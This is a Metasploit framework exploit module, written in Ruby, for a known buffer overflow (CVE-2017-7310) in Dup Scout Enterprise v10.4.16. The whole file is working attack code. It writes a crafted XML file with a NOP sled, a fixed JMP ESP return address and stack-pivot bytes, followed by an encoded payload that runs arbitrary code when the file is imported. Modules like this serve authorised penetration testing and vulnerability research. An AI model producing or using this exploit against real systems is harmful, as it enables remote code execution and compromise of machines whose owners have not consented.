##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in Dup Scout Enterprise v10.4.16
          by using the import command option to import a specially crafted xml file.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Daniel Teixeira'
        ],
        'References' => [
          [ 'CVE', '2017-7310' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => true
        },
        'Platform' => 'win',
        'Payload' => {
          'BadChars' => "\x27",
          'StackAdjustment' => -3500
        },
        'Targets' => [
          ['Windows Universal', { 'Ret' => 0x651BB77A } ] # JMP ESP [QtGui4.dll]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2017-03-29',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
      ]
    )
  end

  def exploit
    esp = "\x8d\x44\x24\x14" # LEA EAX, [ESP+14h]
    jmp = "\xff\xe0" # JMP EAX

    buf = "<?xml ?><a name='"
    buf << make_nops(1560)
    buf << [target.ret].pack('V')
    buf << make_nops(16)
    buf << esp
    buf << jmp
    buf << make_nops(14)
    buf << payload.encoded

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buf)
  end
end